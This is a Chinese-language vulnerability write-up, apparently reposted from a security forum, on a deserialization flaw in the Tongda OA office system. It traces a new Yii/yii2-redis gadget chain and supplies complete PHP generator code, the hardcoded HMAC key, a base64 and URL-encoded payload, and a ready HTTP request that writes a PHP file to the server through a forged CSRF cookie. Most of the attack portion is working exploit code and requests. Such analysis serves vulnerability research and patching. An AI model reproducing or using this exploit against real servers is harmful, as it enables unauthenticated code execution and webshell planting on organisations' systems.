public function validateData($data, $key, $rawHash=false)
{
//$this->macHash=sha256
$test=@hash_hmac($this->macHash, '', '', $rawHash);
if (!$test) {
throw new InvalidConfigException('Failed to generate HMAC with hash algorithm: ' . $this->macHash);
}
$hashLength=StringHelper::byteLength($test);
if (StringHelper::byteLength($data) >=$hashLength) {
$hash=StringHelper::byteSubstr($data, 0, $hashLength);
$pureData=StringHelper::byteSubstr($data, $hashLength, null);
//hash_mac('sha256',$pureData,'tdide2',false)
$calculatedHash=hash_hmac($this->macHash, $pureData, $key, $rawHash);
if ($this->compareString($hash, $calculatedHash)) {
return $pureData;
}
}
return false;
}
分析完了反序列化unserialize的觸發點,但還要找到調用csrfMetaTags方法的地方。由于yii/web/Request::csrfMetaTags是生成html頁面meta標簽的csrf token,因此調用的地方一般在html模版或者寫頁面的方法中。全局搜索,在general/appbuilder/views/layouts/main.php中有調用該方法。
<?php
$this->beginPage();
echo "<!DOCTYPE html>\n<html lang=\"";
echo Yii::$app->language;
echo "\">\n<head>\n <meta charset=\"";
echo Yii::$app->charset;
echo "\">\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n ";
echo yii\helpers\Html::csrfMetaTags();
echo " <title>";
......
查看/general/appbuilder/目錄結構發現general/appbuilder/views/是yii框架寫的模板主頁面。只要調用了該路由下的方法就能觸發模板渲染。
根據手冊,general/appbuilder/config/params.php是配置框架參數的,其中skip_module是配置不進行鑒權的模塊,其中就有portal門戶模塊。
<?php
include_once "inc/td_config.php";
$arr_mysql_server=explode(":", TD::$_arr_db_master["host"]);
return array(
......
"skip_module" => array("portal", "hr", "meeting", "formCenter", "calendar", "officeproduct", "invoice"),
同時general/appbuilder/web/index.php是yii路由入口,獲取請求路徑后以問號為分隔符substr分割路徑和uri參數。portal模塊下不是gateway、/gateway/saveportal、edit、uploadfile、uploadportalfile、uploadpicture、dologin的話會直接跳轉到index.php,從而可以觸發general/appbuilder/views/layouts/main.php模板。
......
else {
$url=$_SERVER["REQUEST_URI"]; //獲取路徑
$strurl=substr($url, 0, strpos($url, "?")); //分割路徑和uri參數
if (strpos($strurl, "/portal/") !==false) {
if (strpos($strurl, "/gateway/")===false) {
header("Location:/index.php");
sess_close();
exit();
}
else if (strpos($strurl, "/gateway/saveportal") !==false) {
header("Location:/index.php");
sess_close();
exit();
}
else if (strpos($url, "edit") !==false) {
header("Location:/index.php");
sess_close();
exit();
}
else if (strpos($url, "uploadfile") !==false) {
header("Location:/index.php");
sess_close();
exit();
}
else if (strpos($url, "uploadportalfile") !==false) {
header("Location:/index.php");
sess_close();
exit();
}
else if (strpos($url, "uploadpicture") !==false) {
header("Location:/index.php");
sess_close();
exit();
}
else if (strpos($url, "dologin") !==false) {
header("Location:/index.php");
sess_close();
exit();
}
}
......
因此,觸發漏洞的路由是/general/appbuilder/portal/gateway/?。
在inc/common.inc.php可以看到通達OA有全局的addslashes過濾,對Cookie中過濾。傳入payload的時候將_csrf改為_GET、_POST等就可以繞過。
if (0 < count($_COOKIE)) {
foreach ($_COOKIE as $s_key=> $s_value ) {
if ((substr($s_key, 0, 7)=="_SERVER") || (substr($s_key, 0, 8)=="_SESSION") || (substr($s_key, 0, 7)=="_COOKIE") || (substr($s_key, 0, 4)=="_GET") || (substr($s_key, 0, 5)=="_POST") || (substr($s_key, 0, 6)=="_FILES")) {
continue;
}
if (!is_array($s_value)) {
$_COOKIE[$s_key]=addslashes(strip_tags($s_value));
}
$s_key=$_COOKIE[$s_key];
}
reset($_COOKIE);
}
yii常見的反序列化起點是利用yii\db\BatchQueryResult的。其中yii框架POP1鏈條差不多如下:**yii\db\BatchQueryResult-Faker\Generator-yii\rest\CreateAction**,但是通達oa里并沒有用**Faker\Generator**,而且好多yii反序列化鏈涉及的類都通達oa都沒有,因此這里需要重新找一條鏈。
yii\db\BatchQueryResult的__destruct調用的reset方法,其中$this->_dataReader可控,$this->_dataReader->close()可以理解為可控類->close()。全局搜索到yii\db\DataReader存在close()方法。
public function __destruct()
{
// make sure cursor is closed
$this->reset();
}
public function reset()
{
if ($this->_dataReader !==null) {
$this->_dataReader->close();
}
$this->_dataReader=null;
$this->_batch=null;
$this->_value=null;
$this->_key=null;
}
因此,可設置$this->_dataReader=new DataReader()從而觸發調用其close方法,進入后$this->_statement可控,同樣是可控類->closeCursor(),但是全局搜索沒找到什么對應的類。嘗試找帶有call方法的類,通過調用其不存在的closeCursor,觸發call方法。
public function close()
{
$this->_statement->closeCursor();//$this->_statement=new Connection();
$this->_closed=true;
}
在通達oa 11.10全局搜索中找到yii2框架還用了yii2-redis庫,在yii2-redis里面找到yii\redis\Connection類存在call方法。
打開后發現代碼由于解密問題有亂碼問題,找到對應的yii2-redis倉庫下載對應版本的源碼(inc/vendor/yii2/yiisoft/extensions.php頁面可查看yii2-redis版本為2.0.6)。$redisCommand=$name='closeCursor'轉換為大寫,再與$this->redisCommands比對,查看是否存在其中,而$this->redisCommands可控,可參照其默認值形式,設置為CLOSE CURSOR,從而可進入executeCommand。
public $redisCommands=[
'APPEND', // Append a value to a key
'AUTH', // Authenticate to the server
'BGREWRITEAOF', // Asynchronously rewrite the append-only file
'BGSAVE', // Asynchronously save the dataset to disk
......
];
public function __call($name, $params)//$name=closeCursor,$params=null
{
$redisCommand=strtoupper(Inflector::camel2words($name, false));//CLOSECURSOR
if (in_array($redisCommand, $this->redisCommands)) {
return $this->executeCommand($redisCommand, $params);
}
return parent::__call($name, $params);
}
executeCommand調用open方法,跟進發現$this->_socket可控,為保證代碼繼續運行這里要設置為false(默認初始化值為false)。$connection由hostname、port、database拼接,每個變量都可控,然后后續進行socket的鏈接。由于通達一體包系統環境一般是win系統,所以設置$this->unixSocket為false(可控)就能進入win下tcp鏈接。這里只要連通就可以讓$this->_socket為true進入if分支。if分之內前面三個if條件$this->dataTimeout、$this->password、$this->database都可控,這三個分支調用的不是executeCommand的遞歸就是又進行socket鏈接都不符合情況,所以需要設置為null,才能保證進入initConnection()。
public function executeCommand($name, $params=[])
{
$this->open();
......
}
public function open()
{
if ($this->_socket !==false) {
return;
}
$connection=($this->unixSocket ?: $this->hostname . ':' . $this->port) . ', database=' . $this->database;
\Yii::trace('Opening redis DB connection: ' . $connection, __METHOD__);
$this->_socket=@stream_socket_client(
$this->unixSocket ? 'unix://' . $this->unixSocket : 'tcp://' . $this->hostname . ':' . $this->port,
$errorNumber,
$errorDescription,
$this->connectionTimeout ? $this->connectionTimeout : ini_get('default_socket_timeout'),
$this->socketClientFlags
);
if ($this->_socket) {
if ($this->dataTimeout !==null) {
stream_set_timeout($this->_socket, $timeout=(int) $this->dataTimeout, (int) (($this->dataTimeout - $timeout) * 1000000));
}
if ($this->password !==null) {
$this->executeCommand('AUTH', [$this->password]);
}
if ($this->database !==null) {
$this->executeCommand('SELECT', [$this->database]);
}
$this->initConnection();
}
......
}
initConnection()實際調用的是yii\base\Component(framework/base/Component.php)::trigger()方法,參數EVENT_AFTER_OPEN固定值是afterOpen。
const EVENT_AFTER_OPEN='afterOpen';
protected function initConnection()
{
$this->trigger(self::EVENT_AFTER_OPEN);//$this->trigger('afterOpen');
}
trigger方法在line560調用了call_user_func,逆向溯源兩個$handler[0]和$event參數。$this->_events[$name]=$this->['afterOpen']不為空,就能進入該分支調用call_user_func。然后對$this->_events['afterOpen']進行數組遍歷,于是$this->_events['afterOpen'][0]=$handler[0]可控,$this->_events['afterOpen'][1]=$event->data=Event::data不可控。
public function trigger($name, Event $event=null)
{
$this->ensureBehaviors();
//$this->_events['afterOpen']=''
if (!empty($this->_events[$name])) {
if ($event===null) {
$event=new Event();
}
if ($event->sender===null) {
$event->sender=$this;//yii\base\Component
}
$event->handled=false;
$event->name=$name;//'afterOpen'
//$this->>_events['afterOpen']=$handler;
foreach ($this->_events[$name] as $handler) {
$event->data=$handler[1];//any
call_user_func($handler[0],$event);//call_user_func([new CreateAction,'run'],any);
// stop further handling if the event is handled
if ($event->handled) {
return;
}
}
}
// invoke class-level attached handlers
Event::trigger($this, $name, $event);
}
參考低版本yii反序列化鏈執行代碼注入的一般通過yii\rest\CreateAction或者類似的類(代碼內容如下所示)。其中$this->checkAccess和$this->id都可控,$this->checkAccess設置為調用php函數,如system執行命令;$this->id設置執行內容,如命令whoami。
public function run()
{
if ($this->checkAccess) {
call_user_func($this->checkAccess, $this->id);
}
......
結合上面的trigger方法,call_user_func參數1可以設置為調用CreateAction的run方法,調用方式:call_user_func([new CreateAction, 'run'],'a')。如何給$this->_events['afterOpen']賦值,繼續查看如下代碼注釋:
//$this->>_events['afterOpen']=$handler; //一重數組,$handler要求是數組
foreach ($this->_events[$name] as $handler) { //二重數組,$handler分為$handler[0]和handler[1]
$event->data=$handler[1];//any
call_user_func($handler[0],$event);
//call_user_func([new CreateAction,'run'],any);
//三重數組,call_user_func調用類需要用數組傳入,形如[new A(),...params]
轉換過來也就是$this->_events['afterOpen']=[[[new CreatAction, 'run'],'a']]。
該鏈條效果為寫入一個名為hgsd.php的php文件,內容為<?php echo 123;?>。輸出反序列化payload的base64編碼,解碼并urlencode作為偽造的csrf token一部分數據。
<?php
//step4
namespace yii\rest {
class CreateAction {
public $id;
public $checkAccess;
public function __construct() {
$this->checkAccess='assert';
$this->id="file_put_contents('hgsd.php','<?php echo 123;?>')";
}
}
}
//step3
namespace yii\base {
use yii\rest\CreateAction;
class Component {
private $_events=[];
private $_behaviors=1;
public function __construct() {
$this->_events=["afterOpen"=> [[[new CreateAction(), "run"], "a"]]];
//第二個"a"參數任意。
}
}
}
//step2
namespace yii\redis {
use yii\base\Component;
class Connection extends Component{
public $redisCommands=[];
public $hostname='';
public $port;
public $password;
public $username;
public $connectionTimeout;
public $dataTimeout;
public $database;
public $unixSocket;
private $_socket;
public function __construct()
{
$this->redisCommands=array('CLOSE CURSOR');
$this->_socket=false;
$this->hostname='127.0.0.1';
$this->port=803;//能夠連通的任意本地服務的端口
$this->unixSocket=false;
$this->connectionTimeout=5;
parent::__construct();
}
}
}
// step1
namespace yii\db {
use yii\redis\Connection;
class DataReader {
private $_statement;
private $_closed=false;
private $_row;
private $_index=-1;
public function __construct()
{
$this->_statement=new Connection();
}
}
class BatchQueryResult {
public $batchSize=100;
public $each=false;
private $_dataReader;
private $_batch;
private $_value;
private $_key;
public function __construct() {
$this->_dataReader=new DataReader();
}
}
}
//start
namespace {
use yii\db\BatchQueryResult;
echo base64_encode(serialize(new BatchQueryResult()));
}
對第一步生成的反序列化payload(base64已編碼)進行hash計算,從而生成對應的csrf token另一部分數據。
<?php
$pureData=base64_decode('TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjY6e3M6OToiYmF0Y2hTaXplIjtpOjEwMDtzOjQ6ImVhY2giO2I6MDtzOjM2OiIAeWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQAX2RhdGFSZWFkZXIiO086MTc6InlpaVxkYlxEYXRhUmVhZGVyIjo0OntzOjI5OiIAeWlpXGRiXERhdGFSZWFkZXIAX3N0YXRlbWVudCI7TzoyMDoieWlpXHJlZGlzXENvbm5lY3Rpb24iOjEyOntzOjEzOiJyZWRpc0NvbW1hbmRzIjthOjE6e2k6MDtzOjEyOiJDTE9TRSBDVVJTT1IiO31zOjg6Imhvc3RuYW1lIjtzOjk6IjEyNy4wLjAuMSI7czo0OiJwb3J0IjtpOjgwMztzOjg6InBhc3N3b3JkIjtOO3M6ODoidXNlcm5hbWUiO047czoxNzoiY29ubmVjdGlvblRpbWVvdXQiO2k6NTtzOjExOiJkYXRhVGltZW91dCI7TjtzOjg6ImRhdGFiYXNlIjtOO3M6MTA6InVuaXhTb2NrZXQiO2I6MDtzOjI5OiIAeWlpXHJlZGlzXENvbm5lY3Rpb24AX3NvY2tldCI7YjowO3M6Mjc6IgB5aWlcYmFzZVxDb21wb25lbnQAX2V2ZW50cyI7YToxOntzOjk6ImFmdGVyT3BlbiI7YToxOntpOjA7YToyOntpOjA7YToyOntpOjA7TzoyMToieWlpXHJlc3RcQ3JlYXRlQWN0aW9uIjoyOntzOjI6ImlkIjtzOjIxMjoiZmlsZV9wdXRfY29udGVudHModGRfYXV0aGNvZGUoIjVhNGE4LzZGR2g2Z0hFRzEwZnZTN1JocFpVMFhBdm1CNmJJblZpOGpYNWlaTEZ4Vkh3IiwiREVDT0RFIiwiMTIzNDU2Nzg5MCIsIiIpLHRkX2F1dGhjb2RlKCIzMjk4THRaU3RaQWxKRWVma0VJdWJadjVhdU1VS2ZEeWdORmVWcTArT0JobFNYb3p5S1BMNVFMQkxYNlZFdyIsIkRFQ09ERSIsIjEyMzQ1Njc4OTAiLCIiKSkiO3M6MTE6ImNoZWNrQWNjZXNzIjtzOjY6ImFzc2VydCI7fWk6MTtzOjM6InJ1biI7fWk6MTtzOjE6ImEiO319fXM6MzA6IgB5aWlcYmFzZVxDb21wb25lbnQAX2JlaGF2aW9ycyI7aToxO31zOjI2OiIAeWlpXGRiXERhdGFSZWFkZXIAX2Nsb3NlZCI7YjowO3M6MjM6IgB5aWlcZGJcRGF0YVJlYWRlcgBfcm93IjtOO3M6MjU6IgB5aWlcZGJcRGF0YVJlYWRlcgBfaW5kZXgiO2k6LTE7fXM6MzE6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfYmF0Y2giO047czozMToiAHlpaVxkYlxCYXRjaFF1ZXJ5UmVzdWx0AF92YWx1ZSI7TjtzOjI5OiIAeWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQAX2tleSI7Tjt9');
$calculatedHash=hash_hmac('sha256',$pureData,'tdide2',false);
# yii general/appbuilder/config/web.php cookieValidationKey 固定值
echo($calculatedHash);
對數據包請求方式沒有限制,get和post方式都可以。偽造的csrf token格式是Cookie: _GET=csrftoken_hashmac+反序列化payload urlencode。按照payload格式拼接完畢后,在發送如下請求:
POST /general/appbuilder/web/portal/gateway/? HTTP/1.1
Host: x.x.x.x
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: _GET=c90e0967189ce5543daef73219235d04c98bb1ef4b2450f2c420e3302b8fa9a3O%3A23%3A%22yii%5Cdb%5CBatchQueryResult%22%3A6%3A%7Bs%3A9%3A%22batchSize%22%3Bi%3A100%3Bs%3A4%3A%22each%22%3Bb%3A0%3Bs%3A36%3A%22%00yii%5Cdb%5CBatchQueryResult%00_dataReader%22%3BO%3A17%3A%22yii%5Cdb%5CDataReader%22%3A4%3A%7Bs%3A29%3A%22%00yii%5Cdb%5CDataReader%00_statement%22%3BO%3A20%3A%22yii%5Credis%5CConnection%22%3A12%3A%7Bs%3A13%3A%22redisCommands%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A12%3A%22CLOSE%20CURSOR%22%3B%7Ds%3A8%3A%22hostname%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A4%3A%22port%22%3Bi%3A803%3Bs%3A8%3A%22password%22%3BN%3Bs%3A8%3A%22username%22%3BN%3Bs%3A17%3A%22connectionTimeout%22%3Bi%3A5%3Bs%3A11%3A%22dataTimeout%22%3BN%3Bs%3A8%3A%22database%22%3BN%3Bs%3A10%3A%22unixSocket%22%3Bb%3A0%3Bs%3A29%3A%22%00yii%5Credis%5CConnection%00_socket%22%3Bb%3A0%3Bs%3A27%3A%22%00yii%5Cbase%5CComponent%00_events%22%3Ba%3A1%3A%7Bs%3A9%3A%22afterOpen%22%3Ba%3A1%3A%7Bi%3A0%3Ba%3A2%3A%7Bi%3A0%3Ba%3A2%3A%7Bi%3A0%3BO%3A21%3A%22yii%5Crest%5CCreateAction%22%3A2%3A%7Bs%3A2%3A%22id%22%3Bs%3A212%3A%22file_put_contents(td_authcode(%225a4a8%2F6FGh6gHEG10fvS7RhpZU0XAvmB6bInVi8jX5iZLFxVHw%22%2C%22DECODE%22%2C%221234567890%22%2C%22%22)%2Ctd_authcode(%223298LtZStZAlJEefkEIubZv5auMUKfDygNFeVq0%2BOBhlSXozyKPL5QLBLX6VEw%22%2C%22DECODE%22%2C%221234567890%22%2C%22%22))%22%3Bs%3A11%3A%22checkAccess%22%3Bs%3A6%3A%22assert%22%3B%7Di%3A1%3Bs%3A3%3A%22run%22%3B%7Di%3A1%3Bs%3A1%3A%22a%22%3B%7D%7D%7Ds%3A30%3A%22%00yii%5Cbase%5CComponent%00_behaviors%22%3Bi%3A1%3B%7Ds%3A26%3A%22%00yii%5Cdb%5CDataReader%00_closed%22%3Bb%3A0%3Bs%3A23%3A%22%00yii%5Cdb%5CDataReader%00_row%22%3BN%3Bs%3A25%3A%22%00yii%5Cdb%5CDataReader%00_index%22%3Bi%3A-1%3B%7Ds%3A31%3A%22%00yii%5Cdb%5CBatchQueryResult%00_batch%22%3BN%3Bs%3A31%3A%22%00yii%5Cdb%5CBatchQueryResult%00_value%22%3BN%3Bs%3A29%3A%22%00yii%5Cdb%5CBatchQueryResult%00_key%22%3BN%3B%7D
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
執行成功后響應500,響應體如下圖所示:
上述生成的poc文件目錄是/general/appbuilder/web/hgsd.php。
from https://xz.aliyun.com/t/12855
*請認真填寫需求信息,我們會在24小時內與您取得聯系。